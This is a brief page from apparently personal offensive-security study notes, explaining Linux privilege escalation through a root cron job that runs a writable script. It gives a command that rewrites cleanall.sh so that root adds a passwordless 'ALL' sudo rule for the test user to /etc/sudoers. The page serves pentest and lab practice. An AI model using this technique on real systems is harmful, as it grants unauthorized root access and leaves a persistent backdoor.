> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/linux-unix/checklist-privesc/writable-script-in-etc-crontab.md).

# Writable script in /etc/crontab

```
cat /etc/crontab
```

Every 5 min, the cleanall.sh script execute by root.

And we have enough permission to write that file.

We are test user. So we can add root privileges to this account.

```
echo "echo \"test ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers" > cleanall.sh
```